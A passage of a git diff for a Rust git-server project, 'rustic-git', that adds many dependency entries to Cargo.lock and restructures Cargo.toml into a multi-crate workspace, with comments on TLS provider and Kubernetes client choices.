= "0.10.81" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77823a27f0babb03091cb9ed9ef80af3b39dbc82f97e8fa530374b7dafd87a45" +dependencies = [ + "bitflags 2.13.1", + "cfg-if", + "foreign-types", + "libc", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + [[package]] name = "openssl-probe" version = "0.1.6" @@ -3808,6 +4375,33 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7c87def4c32ab89d880effc9e097653c8da5d6ef28e6b539d313baaacfbafcbe" +[[package]] +name = "openssl-sys" +version = "0.9.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b47e7e6bb2c38cd930d25a23b40fa52e068c10e85f3e03a7f5ba5aaca5713695" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "ordered-float" +version = "2.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68f19d67e5a2795c94e73e0bb1cc1a7edeb2e28efd39e2e1c9b7a40c1108b11c" +dependencies = [ + "num-traits", +] + [[package]] name = "ouroboros" version = "0.18.5" @@ -3825,7 +4419,7 @@ version = "0.18.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3c7028bdd3d43083f6d8d4d5187680d0d3560d54df4cc9d752005268b41e64d0" dependencies = [ - "heck", + "heck 0.4.1", "proc-macro2", "proc-macro2-diagnostics", "quote", @@ -4019,6 +4613,16 @@ dependencies = [ "syn 2.0.119", ] +[[package]] +name = "pem" +version = "3.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d30c53c26bc5b31a98cd02d20f25a7c8567146caf63ed593a9d87b2775291be" +dependencies = [ + "base64", + "serde_core", +] + [[package]] name = "pem-rfc7468" version = "0.7.0" @@ -4044,21 +4648,63 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" [[package]] -name = "pgp" -version = "0.20.0" +name = "pest" +version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1cfa4743b28656065ff4c0ba09e46b357a65e8c00fc2341e89084b82f87cbdf1" +checksum = "5a07a60cc7a4d00c91f95c685609d1d2f79050e6804b70ebedd7650f0b839bcf" dependencies = [ - "aead 0.5.2", - "aes 0.8.4", - "aes-gcm 0.10.3", - "aes-kw", - "argon2 0.5.3", - "base64", - "bitfields", - "block-padding 0.3.3", - "blowfish 0.9.1", - "buffer-redux", + "memchr", + "ucd-trie", +] + +[[package]] +name = "pest_derive" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3a83744a5c8455b8b3e0dc5031362780a347c878bdd11584d1a8984228cc88d" +dependencies = [ + "pest", + "pest_generator", +] + +[[package]] +name = "pest_generator" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e0cd3451aa3de60d4b9a1e736885e4dea6b31617598026f12256ad566d63304a" +dependencies = [ + "pest", + "pest_meta", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "pest_meta" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e04d3a0849e241d7dfce834c83b1c5edc8622009e8dd51a12ba1927c32f05496" +dependencies = [ + "pest", +] + +[[package]] +name = "pgp" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cfa4743b28656065ff4c0ba09e46b357a65e8c00fc2341e89084b82f87cbdf1" +dependencies = [ + "aead 0.5.2", + "aes 0.8.4", + "aes-gcm 0.10.3", + "aes-kw", + "argon2 0.5.3", + "base64", + "bitfields", + "block-padding 0.3.3", + "blowfish 0.9.1", + "buffer-redux", "byteorder", "bytes", "camellia", @@ -4354,6 +5000,21 @@ dependencies = [ "parking_lot", ] +[[package]] +name = "quanta" +version = "0.12.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3ab5a9d756f0d97bdc89019bd2e4ea098cf9cde50ee7564dde6b81ccc8f06c7" +dependencies = [ + "crossbeam-utils", + "libc", + "once_cell", + "raw-cpuid", + "wasi", + "web-sys", + "winapi", +] + [[package]] name = "quick-xml" version = "0.41.0" @@ -4542,6 +5203,24 @@ dependencies = [ "rand_core 0.9.5", ] +[[package]] +name = "rapidhash" +version = "4.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5da7e78a036ce858e8d55b7e7dc8ba3a88b78350fd2155d3591bbd966b58589e" +dependencies = [ + "rustversion", +] + +[[package]] +name = "raw-cpuid" +version = "11.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "498cd0dc59d73224351ee52a95fee0f1a617a2eae0e7d9d720cc622c73a54186" +dependencies = [ + "bitflags 2.13.1", +] + [[package]] name = "redis" version = "0.27.6" @@ -4583,11 +5262,65 @@ dependencies = [ "bitflags 2.13.1", ] +[[package]] +name = "redox_users" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4e608c6638b9c18977b00b475ac1f28d14e84b27d8d42f70e0bf1e3dec127ac" +dependencies = [ + "getrandom 0.2.17", + "libredox", + "thiserror 2.0.20", +] + +[[package]] +name = "ref-cast" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e440fb4e4b4147295338efb76001ab9e4efc0e5839df2c47fc5ac2381d365c3" +dependencies = [ + "ref-cast-impl", +] + +[[package]] +name = "ref-cast-impl" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecd8964f8453721699a1ed72037b0db49ce2f5a5138486ee89bed6f67cdf3a" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "regex" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + [[package]] name = "regex-automata" version = "0.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ad8553b9b26413251cbf30e620595c7a41b3887f03da04579c0e6b0d6a06b4b2" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" [[package]] name = "replace_with" @@ -4595,6 +5328,45 @@ version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "51743d3e274e2b18df81c4dc6caf8a5b8e15dbe799e0dca05c7617380094e884" +[[package]] +name = "reqwest" +version = "0.12.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" +dependencies = [ + "base64", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-tls", + "hyper-util", + "js-sys", + "log", + "native-tls", + "percent-encoding", + "pin-project-lite", + "rustls-pki-types", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-native-tls", + "tokio-util", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "wasm-streams 0.4.2", + "web-sys", +] + [[package]] name = "reqwest" version = "0.13.4" @@ -4621,6 +5393,7 @@ dependencies = [ "rustls-pki-types", "rustls-platform-verifier", "serde", + "serde_json", "serde_urlencoded", "sync_wrapper", "tokio", @@ -4632,7 +5405,7 @@ dependencies = [ "url", "wasm-bindgen", "wasm-bindgen-futures", - "wasm-streams", + "wasm-streams 0.5.0", "web-sys", ] @@ -4840,48 +5613,376 @@ dependencies = [ ] [[package]] -name = "rustc_version_runtime" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dd18cd2bae1820af0b6ad5e54f4a51d0f3fcc53b05f845675074efcc7af071d" +name = "rustc_version_runtime" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dd18cd2bae1820af0b6ad5e54f4a51d0f3fcc53b05f845675074efcc7af071d" +dependencies = [ + "rustc_version", + "semver", +] + +[[package]] +name = "rustic-git-agent-bin" +version = "0.1.0" +dependencies = [ + "base64", + "chrono", + "futures", + "k8s-openapi", + "kube", + "kube-runtime", + "libc", + "metrics", + "object_store", + "reqwest 0.13.4", + "rustic-git-core", + "rustic-git-storage", + "rustic-git-workspaces", + "serde", + "serde_json", + "tempfile", + "tokio", + "tracing", +] + +[[package]] +name = "rustic-git-api" +version = "0.1.0" +dependencies = [ + "axum", + "base64", + "form_urlencoded", + "futures", + "mongodb", + "pgp", + "rand 0.8.7", + "reqwest 0.13.4", + "russh", + "rustic-git-core", + "rustic-git-pulls", + "rustic-git-storage", + "rustic-git-workspaces", + "serde", + "serde_json", + "sha2 0.10.9", + "slatedb", + "tempfile", + "tokio", + "tower", + "tower-http", + "tracing", +] + +[[package]] +name = "rustic-git-api-bin" +version = "0.1.0" +dependencies = [ + "async-trait", + "axum", + "kube", + "rustic-git-api", + "rustic-git-core", + "rustic-git-pulls", + "rustic-git-storage", + "rustic-git-workspaces", + "rustls", + "tokio", + "tracing", +] + +[[package]] +name = "rustic-git-app" +version = "0.1.0" +dependencies = [ + "futures", + "metrics", + "rand 0.8.7", + "reqwest 0.13.4", + "rustic-git-core", + "rustic-git-pulls", + "rustic-git-storage", + "serde_json", + "slatedb", + "tempfile", + "tokio", + "tracing", +] + +[[package]] +name = "rustic-git-core" +version = "0.1.0" +dependencies = [ + "axum", + "base64", + "jsonwebtoken", + "metrics", + "metrics-exporter-prometheus", + "rand 0.8.7", + "reqwest 0.13.4", + "serde", + "serde_json", + "tokio", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "rustic-git-gateway-bin" +version = "0.1.0" +dependencies = [ + "axum", + "axum-server", + "futures", + "jsonwebtoken", + "k8s-openapi", + "kube", + "metrics", + "rustic-git-core", + "rustic-git-workspaces", + "rustls", + "serde_json", + "tokio", + "tokio-tungstenite", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "rustic-git-git" +version = "0.1.0" +dependencies = [ + "base64", + "futures", + "gix-features", + "gix-hash", + "gix-object", + "gix-odb", + "gix-pack", + "gix-traverse", + "imara-diff", + "russh", + "rustic-git-app", + "rustic-git-core", + "rustic-git-gitbase", + "rustic-git-storage", + "serde", + "slatedb", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "rustic-git-gitbase" +version = "0.1.0" +dependencies = [ + "flate2", + "gix-actor", + "gix-features", + "gix-hash", + "gix-object", + "gix-odb", + "gix-pack", + "gix-traverse", + "rustic-git-core", + "rustic-git-storage", + "serde", + "tokio", +] + +[[package]] +name = "rustic-git-pulls" +version = "0.1.0" +dependencies = [ + "chrono", + "futures", + "gix-hash", + "libc", + "mongodb", + "reqwest 0.13.4", + "rustic-git-core", + "rustic-git-gitbase", + "rustic-git-storage", + "serde", + "serde_json", + "slatedb", + "tempfile", + "tokio", + "tracing", +] + +[[package]] +name = "rustic-git-registry" +version = "0.1.0" +dependencies = [ + "axum", + "chrono", + "form_urlencoded", + "futures", + "metrics", + "rand 0.8.7", + "rustic-git-app", + "rustic-git-core", + "rustic-git-storage", + "serde", + "serde_json", + "sha2 0.10.9", + "slatedb", + "tokio", + "tracing", +] + +[[package]] +name = "rustic-git-server" +version = "0.1.0" +dependencies = [ + "async-trait", + "axum", + "base64", + "chrono", + "flate2", + "futures", + "gix-hash", + "gix-object", + "gix-odb", + "metrics", + "rand 0.8.7", + "reqwest 0.13.4", + "russh", + "rustic-git-app", + "rustic-git-core", + "rustic-git-git", + "rustic-git-gitbase", + "rustic-git-pulls", + "rustic-git-registry", + "rustic-git-storage", + "rustic-git-workspaces", + "rustls", + "serde", + "serde_json", + "slatedb", + "tempfile", + "tokio", + "tokio-util", + "tower-http", + "tracing", +] + +[[package]] +name = "rustic-git-storage" +version = "0.1.0" +dependencies = [ + "async-trait", + "base64", + "chrono", + "futures", + "gix-hash", + "gix-odb", + "rand 0.8.7", + "redis", + "rustic-git-core", + "rustls", + "serde", + "serde_json", + "sha2 0.10.9", + "slatedb", + "slatedb-common", + "tempfile", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "rustic-git-tests" +version = "0.1.0" +dependencies = [ + "async-trait", + "axum", + "base64", + "chrono", + "futures", + "gix-hash", + "gix-object", + "gix-odb", + "gix-traverse", + "mongodb", + "reqwest 0.13.4", + "russh", + "rustic-git-api", + "rustic-git-app", + "rustic-git-core", + "rustic-git-git", + "rustic-git-gitbase", + "rustic-git-pulls", + "rustic-git-registry", + "rustic-git-server", + "rustic-git-storage", + "rustic-git-workspaces", + "serde_json", + "slatedb", + "slatedb-common", + "tempfile", + "tokio", + "tower", +] + +[[package]] +name = "rustic-git-worker-bin" +version = "0.1.0" dependencies = [ - "rustc_version", - "semver", + "futures", + "metrics", + "rand 0.8.7", + "redis", + "reqwest 0.13.4", + "rustic-git-core", + "rustic-git-pulls", + "rustic-git-registry", + "rustic-git-storage", + "rustls", + "serde", + "serde_json", + "slatedb", + "tempfile", + "tokio", + "tracing", ] [[package]] -name = "rustic-git" +name = "rustic-git-workspaces" version = "0.1.0" dependencies = [ "async-trait", "axum", - "base64", - "flate2", + "azure_core", + "azure_data_cosmos", + "bytes", + "chrono", "futures", - "gix-actor", - "gix-features", - "gix-hash", - "gix-merge", - "gix-object", - "gix-odb", - "gix-pack", - "gix-traverse", - "imara-diff", - "jsonwebtoken", - "mongodb", - "pgp", + "http", + "http-body-util", + "k8s-openapi", + "kube", + "libc", + "object_store", "rand 0.8.7", - "redis", - "reqwest", - "russh", - "rustls", + "reqwest 0.13.4", + "rustic-git-core", + "rustic-git-server", + "rustic-git-storage", + "rustic-git-workspaces", + "schemars", "serde", "serde_json", + "sha2 0.10.9", "slatedb", "tempfile", "tokio", - "tokio-util", "tower", + "tracing", + "zstd", ] [[package]] @@ -5036,6 +6137,37 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "schemars" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "687274d293b6cdc6e73e0fee520bf2049650090d7164f87672d212a3c530cf4a" +dependencies = [ + "dyn-clone", + "ref-cast", + "schemars_derive", + "serde", + "serde_json", +] + +[[package]] +name = "schemars_derive" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98c67716b46af2f0b8cf752abc930f6f9aecfbf671ecfb531db8a31dbe4e2ba" +dependencies = [ + "proc-macro2", + "quote", + "serde_derive_internals", + "syn 3.0.3", +] + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + [[package]] name = "scopeguard" version = "1.2.0" @@ -5083,6 +6215,15 @@ dependencies = [ "zeroize", ] +[[package]] +name = "secrecy" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +dependencies = [ + "zeroize", +] + [[package]] name = "security-framework" version = "2.11.1" @@ -5135,6 +6276,35 @@ dependencies = [ "serde_derive", ] +[[package]] +name = "serde-saphyr" +version = "0.0.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7bd22781911de0ca6debda95f073c8f18bec65d1a94f1fa9573f3102e514cea4" +dependencies = [ + "ahash", + "annotate-snippets", + "base64", + "encoding_rs_io", + "getrandom 0.3.4", + "granit-parser", + "nohash-hasher", + "num-traits", + "serde_core", + "smallvec", + "zmij", +] + +[[package]] +name = "serde-value" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3a1a3341211875ef120e117ea7fd5228530ae7e7036a779fdc9117be6b3282c" +dependencies = [ + "ordered-float", + "serde", +] + [[package]] name = "serde_bytes" version = "0.11.19" @@ -5165,6 +6335,17 @@ dependencies = [ "syn 3.0.3", ] +[[package]] +name = "serde_derive_internals" +version = "0.30.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f852137cce035d6a4df67ccce505ff6b3e9fd3a10e3e52b24dc71e650bb1a9bd" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + [[package]] name = "serde_json" version = "1.0.151" @@ -5369,10 +6550,13 @@ dependencies = [ ] [[package]] -name = "shell-words" -version = "1.1.1" +name = "sharded-slab" +version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] [[package]] name = "shlex" @@ -5438,6 +6622,12 @@ version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8ee5873ec9cce0195efcb7a4e9507a04cd49aec9c83d0389df45b1ef7ba2e649" +[[package]] +name = "sketches-ddsketch" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c6f73aeb92d671e0cc4dca167e59b2deb6387c375391bc99ee743f326994a2b" + [[package]] name = "slab" version = "0.4.12" @@ -5549,7 +6739,7 @@ version = "0.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "287f59010008f0d7cf5e3b03196d666c1acc46c8d3e9cf34c28a1a7157601e72" dependencies = [ - "heck", + "heck 0.5.0", "proc-macro2", "quote", "syn 2.0.119", @@ -5844,6 +7034,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cdb87b95ec50ddfa440816d227a17b2ccbdda963a316a727fda0fc4334f7d134" dependencies = [ "deranged", + "js-sys", "num-conv", "powerfmt", "serde_core", @@ -5929,6 +7120,16 @@ dependencies = [ "syn 3.0.3", ] +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + [[package]] name = "tokio-rustls" version = "0.26.4" @@ -5939,6 +7140,22 @@ dependencies = [ "tokio", ] +[[package]] +name = "tokio-tungstenite" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f72a05e828585856dacd553fba484c242c46e391fb0e58917c942ee9202915c" +dependencies = [ + "futures-util", + "log", + "rustls", + "rustls-pki-types", + "tokio", + "tokio-rustls", + "tungstenite", + "webpki-roots 0.26.11", +] + [[package]] name = "tokio-util" version = "0.7.19" @@ -5953,6 +7170,7 @@ dependencies = [ "hashbrown 0.15.5", "libc", "pin-project-lite", + "slab", "tokio", ] @@ -6008,6 +7226,7 @@ dependencies = [ "pin-project-lite", "sync_wrapper", "tokio", + "tokio-util", "tower-layer", "tower-service", "tracing", @@ -6019,15 +7238,23 @@ version = "0.6.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840" dependencies = [ + "async-compression", + "base64", "bitflags 2.13.1", "bytes", + "futures-core", "futures-util", "http", "http-body", + "http-body-util", + "mime", "pin-project-lite", + "tokio", + "tokio-util", "tower", "tower-layer", "tower-service", + "tracing", "url", ] @@ -6073,6 +7300,49 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" dependencies = [ "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-serde" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "704b1aeb7be0d0a84fc9828cae51dab5970fee5088f83d1dd7ee6f6246fc6ff1" +dependencies = [ + "serde", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex-automata", + "serde", + "serde_json", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", + "tracing-serde", ] [[package]] @@ -6081,6 +7351,24 @@ version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" +[[package]] +name = "tungstenite" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c01152af293afb9c7c2a57e4b559c5620b421f6d133261c60dd2d0cdb38e6b8" +dependencies = [ + "bytes", + "data-encoding", + "http", + "httparse", + "log", + "rand 0.9.5", + "rustls", + "rustls-pki-types", + "sha1 0.10.7", + "thiserror 2.0.20", +] + [[package]] name = "twofish" version = "0.7.1" @@ -6125,6 +7413,63 @@ version = "1.20.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" +[[package]] +name = "typespec" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4dd1eb4a538c1ab3d5c05437129bc16891296146b23c9b0bb3f5df99f5b3a18d" +dependencies = [ + "base64", + "bytes", + "futures", + "serde", + "serde_json", + "url", +] + +[[package]] +name = "typespec_client_core" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e632235c99ae896a3c451d1ead00cea11a2219aeda1b35a74027fe99ea3f3b72" +dependencies = [ + "async-trait", + "base64", + "dyn-clone", + "futures", + "getrandom 0.3.4", + "pin-project", + "rand 0.9.5", + "reqwest 0.12.28", + "serde", + "serde_json", + "time", + "tokio", + "tracing", + "typespec", + "typespec_macros", + "url", + "uuid", +] + +[[package]] +name = "typespec_macros" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7048df3b053daa72e8ea91894ebcb2f0511ba52737379834524d82074a94a458" +dependencies = [ + "proc-macro2", + "quote", + "rustc_version", + "syn 2.0.119", +] + +[[package]] +name = "ucd-trie" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2896d95c02a80c6d6a5d6e953d479f5ddf2dfdb6a244441010e373ac0fb88971" + [[package]] name = "ulid" version = "1.2.1" @@ -6151,12 +7496,6 @@ version = "0.3.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5" -[[package]] -name = "unicode-bom" -version = "2.0.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7eec5d1121208364f6793f7d2e222bf75a915c19557537745b195b253dd64217" - [[package]] name = "unicode-ident" version = "1.0.24" @@ -6184,6 +7523,12 @@ version = "1.13.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c6f5d3c3b1bf09027a88a6bc961fc00497d651009560b5463668dc81b0fa87a8" +[[package]] +name = "unicode-width" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254" + [[package]] name = "unicode-xid" version = "0.2.6" @@ -6246,6 +7591,12 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + [[package]] name = "uuid" version = "1.24.1" @@ -6258,6 +7609,18 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + [[package]] name = "version_check" version = "0.9.5" @@ -6353,6 +7716,19 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "wasm-streams" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15053d8d85c7eccdbefef60f06769760a563c7f0a9d6902a13d35c7800b0ad65" +dependencies = [ + "futures-util", + "js-sys", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + [[package]] name = "wasm-streams" version = "0.5.0" diff --git a/Cargo.toml b/Cargo.toml index 91247a23..cdd872bb 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,32 +1,24 @@ -[package] -name = "rustic-git" -version = "0.1.0" -edition = "2021" -license = "SSPL-1.0" -description = "Git server: packs in object storage, refs in embedded SlateDB, Smart HTTP + SSH" -repository = "https://github.com/kloudlite/rustic-git" - -[lib] -name = "rustic_git" -path = "src/lib.rs" - -[[bin]] -name = "rustic-git" -path = "src/main.rs" - -# A separate process, not a subcommand: the api server holds no repository leases -# and must be able to restart without touching the git fleet. -[[bin]] -name = "rustic-git-api" -path = "src/bin/api.rs" +[workspace] +members = [ + ".", + "crates/core", "crates/storage", "crates/gitbase", "crates/pulls", "crates/app", "crates/git", "crates/registry", "crates/api", "crates/workspaces", + "bins/server", "bins/api", "bins/worker", "bins/agent", "bins/gateway", "bins/kl", +] +# This root package is ALSO the workspace root ([workspace] + [package] in one file), which makes +# a bare `cargo build`/`cargo test` here default to building only `.` — a lib with no `[[bin]]` +# any more, so the three binaries would silently not get built. `default-members` restores the +# whole-workspace default so `cargo build --release --locked; ls target/release/rustic-git*` +# (the deploy image's build command) keeps working unchanged. +default-members = [ + ".", + "crates/core", "crates/storage", "crates/gitbase", "crates/pulls", "crates/app", "crates/git", "crates/registry", "crates/api", "crates/workspaces", + "bins/server", "bins/api", "bins/worker", "bins/agent", "bins/gateway", "bins/kl", +] +resolver = "2" -# Merging runs here rather than on a git node: it is slow, it can need a person, -# and a node's job is to serve clones and pushes without competing with it. -[[bin]] -name = "rustic-git-worker" -path = "src/bin/worker.rs" - -[dependencies] +# Every shared dependency pinned once. Members say `{ workspace = true }`; a member may add +# features but never a different version. Feature sets live here so two members cannot drift. +[workspace.dependencies] tokio = { version = "1", features = ["full"] } tokio-util = { version = "0.7", features = ["io", "io-util"] } slatedb = { version = "0.15", features = ["aws", "azure"] } @@ -38,16 +30,57 @@ gix-object = "0.63" gix-hash = { version = "0.26", features = ["sha1"] } gix-traverse = "0.60" gix-features = { version = "0.49", features = ["progress"] } +gix-actor = "0.41" flate2 = "1" futures = "0.3" +# Three `rand` versions (0.8 here, 0.9 and 0.10 under russh/ssh-key/pgp) and two `rsa` (one a +# release candidate, pulled by russh's ssh-key) are in the lock. Each is pinned by an upstream +# crate; bumping this one alone would not collapse them. Revisit when russh and pgp agree on a +# rand line — `cargo tree -d` is the check. rand = "0.8" base64 = "0.22" +bytes = "1" +sha2 = "0.10" # Direct dependency purely so main() can install a crypto provider: with both `ring` and # `aws-lc-rs` reachable in the graph, rustls 0.23 will not pick one on its own. rustls = { version = "0.23", default-features = false, features = ["ring"] } -reqwest = { version = "0.13", default-features = false, features = ["stream", "query"] } +# The Kubernetes API is the reconcile substrate for workspaces/environments (see +# docs/superpowers/specs/2026-08-26-k3s-architecture-design.md). kube 4.2 pins k8s-openapi 0.28 +# exactly, and 0.28's oldest version feature is `v1_32` — which is why deploy/k3s installs k3s +# v1.33. A client one minor behind the server is supported; ahead is not. +# +# kube's default features (client, rustls-tls, ring) are kept deliberately: letting it pull +# `aws-lc-rs` instead would put a second TLS stack in the graph, which is exactly what the rustls +# comment above exists to prevent. +kube = { version = "4.2", features = ["derive", "runtime"] } +# ONE gated method: `Controller::reconcile_on`, which lets a finished btrfs operation wake its own +# reconciler instead of waiting out the agent's 15s requeue (the stable alternative, +# `reconcile_all_on`, re-reconciles every object on the node for one volume's completion). `kube` +# only forwards the `unstable-runtime` umbrella — which would also switch on subscribe and +# stream-control — so the gate is turned on here, on kube-runtime directly, one feature wide. The +# gate is an API-stability promise rather than a maturity one, and pins us to this kube minor until +# the method stabilises. +kube-runtime = { version = "4.2", features = ["unstable-runtime-reconcile-on"] } +k8s-openapi = { version = "0.28", features = ["v1_33", "schemars"] } +schemars = "1" +# `rustls-no-provider`, not `rustls`: the latter drags in aws-lc-rs, a second TLS stack next to +# the ring one pinned below, which each binary pulls in through its own `rustls` dependency. +# Named HERE, not left to unification: `cargo build -p kl` sees only kl's graph, and without this +# it built a client with no TLS at all ("error sending request" on every https URL). +reqwest = { version = "0.13", default-features = false, features = ["stream", "query", "json", "gzip", "rustls-no-provider"] } +# Already in the tree via `url`; named directly because the registry's token endpoint parses a +# query string that may repeat a key, which 